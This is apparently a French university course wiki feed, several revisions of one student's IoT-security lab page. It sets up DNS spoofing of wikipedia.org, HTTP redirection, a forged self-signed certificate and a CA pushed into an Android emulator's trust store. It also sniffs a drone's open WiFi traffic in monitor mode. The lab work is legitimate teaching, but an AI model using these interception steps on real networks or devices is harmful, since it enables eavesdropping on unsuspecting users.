&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;[[Fichier:Wireshark.png|vignette|869x869px|néant]]&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11165</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11165"/>
		<updated>2026-01-13T13:29:17Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11164</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11164"/>
		<updated>2026-01-13T13:28:34Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
